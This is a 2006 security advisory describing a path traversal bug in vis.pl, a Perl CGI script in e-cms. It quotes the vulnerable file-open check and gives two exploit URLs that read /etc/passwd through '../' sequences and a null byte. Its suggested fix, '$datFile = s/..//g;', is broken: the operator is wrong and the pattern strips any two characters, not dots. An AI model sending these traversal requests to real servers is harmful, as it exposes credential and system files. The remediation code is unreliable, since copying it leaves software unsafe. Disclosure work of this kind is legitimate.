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HSC Research Group -
Advisories
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Written by Hackers Center
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Thursday, 26 January 2006 15:16 |
Hackers Center Security Group (http://www.hackerscenter.com/) spher3"s Security Advisory
Multiple transversal bug in vis.pl
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Description:
Vis.pl is a perl script which manages files in order to show these; you can find it in e-cms default files. The vulnerability taken in exam is classifiable as transversal bug. In fact can show to everybody files such as passwords or accounts.
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Code Details:
Vis.pl doesn"t control cgi query except for:
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if ( -e $datFile ) { open ( DAT_FILE, "$datFile" );
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This function controls only the file existence. Then the script start to open the file without check dangerous characters as "." and "/". So is simply to access where you want:
http://[target]/cgi-bin/e-cms/vis/vis.pl?s=001&p=../../../../../../../etc/ passwd%00
All variables that open files are unsafe:
http://[target]/cgi-bin/e-cms/vis/vis.pl?s=../../../../../../../etc/passwd %00
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How to fix:
You can fix this script with remove those dangerouse characters as taught from W3C WWW Security FAQ. Just adding a line:
$datFile = s/..//g;
You have to insert a line like this for ALL variables which contain files to open.
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